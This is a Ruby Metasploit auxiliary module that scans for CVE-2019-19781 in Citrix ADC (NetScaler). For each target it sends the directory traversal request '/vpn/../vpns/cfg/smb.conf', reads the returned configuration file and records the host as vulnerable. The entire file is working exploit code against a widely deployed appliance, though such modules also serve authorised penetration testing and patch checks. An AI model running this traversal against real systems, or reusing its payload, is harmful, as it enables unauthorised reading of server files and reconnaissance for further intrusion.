87 lines
2.8 KiB
Ruby
87 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Citrix ADC (NetScaler) Directory Traversal Scanner',
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'Description' => %{
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This module exploits a directory traversal vulnerability (CVE-2019-19781) within Citrix ADC
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(NetScaler). It requests the smb.conf file located in the /vpns/cfg directory by issuing the request
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/vpn/../vpns/cfg/smb.conf. It then checks if the server is vulnerable by looking for the presence of
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a "[global]" directive in smb.conf, which this file should always contain.
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},
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'Author' => [
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'Mikhail Klyuchnikov', # Discovery
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'Erik Wynter', # Module (@wyntererik)
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'altonjx' # Module (@altonjx)
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],
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'References' => [
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['CVE', '2019-19781'],
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['URL', 'https://web.archive.org/web/20200111095223/https://support.citrix.com/article/CTX267027/'],
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['URL', 'https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/']
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],
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'DisclosureDate' => '2019-12-17',
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'License' => MSF_LICENSE,
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'Notes' => {
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'AKA' => ['Shitrix']
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}
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))
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register_options([
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OptString.new('TARGETURI', [true, 'Base path', '/']),
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OptString.new('PATH', [true, 'Traversal path', '/vpn/../vpns/cfg/smb.conf'])
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])
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end
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def run_host(target_host)
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turi = normalize_uri(target_uri.path, datastore['PATH'])
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => turi
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)
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unless res
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print_error("#{full_uri(turi)} - No response, target seems down.")
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return Exploit::CheckCode::Unknown
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end
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unless res.code == 200
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print_error("#{full_uri(turi)} - The target is not vulnerable to CVE-2019-19781.")
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vprint_error("Obtained HTTP response code #{res.code} for #{full_uri(turi)}.")
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return Exploit::CheckCode::Safe
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end
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if turi.end_with?('smb.conf')
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unless res.headers['Content-Type'].starts_with?('text/plain') && res.body.match(/\[\s*global\s*\]/)
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vprint_warning("#{turi} does not contain \"[global]\" directive.")
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end
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end
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print_good("#{full_uri(turi)} - The target is vulnerable to CVE-2019-19781.")
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msg = "Obtained HTTP response code #{res.code} for #{full_uri(turi)}. " \
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"This means that access to #{turi} was obtained via directory traversal."
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vprint_good(msg)
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report_vuln(
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host: target_host,
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name: name,
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refs: references,
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info: msg
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)
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Exploit::CheckCode::Vulnerable
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end
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end
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